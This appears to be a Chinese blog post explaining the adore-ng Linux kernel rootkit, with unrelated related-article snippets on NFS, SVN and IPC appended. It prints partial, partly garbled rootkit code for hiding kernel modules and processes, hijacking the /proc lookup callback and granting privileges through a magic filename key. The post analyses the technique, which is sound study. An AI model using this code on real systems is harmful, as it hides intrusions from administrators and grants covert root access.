两个linux内核rootkit 之二：adore ng
这个rootkit使用的技术不比前一个，它不是拦截系统调用，而是拦截具体文件系统的回调函数，本身文件系统的回调函数就是动态注册的，很是不确定，那么反黑软件自然就不能简单下结论说这个函数被黑掉了，因此这个rootkit看来比前一个略胜一筹，自然的，既然是内核模块，那么模块隐藏也是一个重要的内容，以下是一个简单的模块隐藏代码，使用此代码的前提就是将此模块紧接着希望被隐藏的模块之后加载： ...//省略头文件 int init_module() { if (__this_module.next) //这个逻辑很简单，由于被隐藏的模块在这个模块之前加载，那么之需要更改该模块的next指针即可 __this_module.next = __this_module.next->next; return 0; } ...//省略 该rootkit的第一步就是用所有的进程构建一个位图hidden_procs，如果哪个进程需要隐藏，那么就将该进程的pid所在的位置置1，反之置0 inline void hide_proc(pid_t x) { if (x >= PID_MAX || x == 1) return; hidden_procs[x/8] |= 1parent->pid)) { task_unlock(p); hide_proc(pid); return 1; } task_unlock(p); return 0; } 查看进程的ps命令主要是遍历/proc文件系统的根目录，只要是数字的那么就被视为一个进程的pid，该rootkit隐藏进程的策略很简单，就是： sprintf(buf, APREFIX"/hide-%d", pid); close(open(buf, O_RDWR|O_CREAT, 0)); 由于open系统调用最终肯定会调用lookup回调函数，那么就在该lookup中做文章，如果想隐藏pid为n的进程，我们先在/proc创建一个新的文件hide-n文件，由于我们已经黑掉了具体proc文件系统的lookup回调函数为adore_lookup，所以我们可以将隐藏进程的操作放到该lookup中，在该lookup中如果发现有文件的前缀为hide-，那么我们就调用hide_proc函数，具体的pid就是该新建文件的第五个字符之后的字符串转化为数字。注意，这个adore_lookup函数一举两得，在新建带有hide-前缀文件的时候会隐藏文件，在ps命令查看进程的时候如果是已经隐藏的文件会返回NULL，这里有人可能会问，在/proc目录是没有权限创建新文件的，是的，是没有权限，关键是我们创建文件的目的不是创建一个新文件，而是仅仅希望使执行流到达lookup，从而调用hide_proc的目的，仅此而已： struct dentry *adore_lookup(struct inode *i, struct dentry *d) { task_lock(current); if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { current->flags |= PF_AUTH; current->suid
相关文档：
umount 目录可以解除关联关系
必须先在客户端umount，然后在服务器端停止nfs服务，以及修改/etc/exports，否则的话会导致df -h无法关闭
原贴:http://linux.chinaunix.net/bbs/archiver/?tid-905711.html
2007-8-8 14:40 wzknet
手把手教你Linux系统下快速设置NFS
[color=Blue]一、NFS服务端设置（NFS服务端IP：10 ......
针对好多Linux 爱好者对内核很有兴趣却无从下口，本文旨在介绍一种解读linux内核源码的入门方法，而不是解说linux复杂的内核机制；
一．核心源程序的文件组织：
1．Linux核心源程序通常都安装在/usr/src/linux下，而且它有一个非常简单的编号约定：任何偶数的核心（例如2.0.30）都是一个稳定地发� ......
郑彦兴
(mlinux@163.com
)国防科大计算机学院
2002 年 12 月 11 日
一个大型的应用系统，往往需要众多进程协作，进程（Linux进程概念见附1）间通信的重要性显而易见。本系列文章阐述了
Linux环境下的几种主要进程间通信手段，并针对每个通信手段关键技术环节给出详细实例。为达到阐明问题的目的，本文还对某些通� ......
Linux 下常用的 SVN 命令
1、将文件checkout到本地目录
svn checkout path（path是服务器上的目录）
例如：svn checkout svn://192.168.1.1/pro/domain
简写：svn co
2、往版本库中添加新的文件
svn add file
例如：svn add test.php(添加test.php)
svn add *.php(添加当前目录下所有的php文件)
3 ......
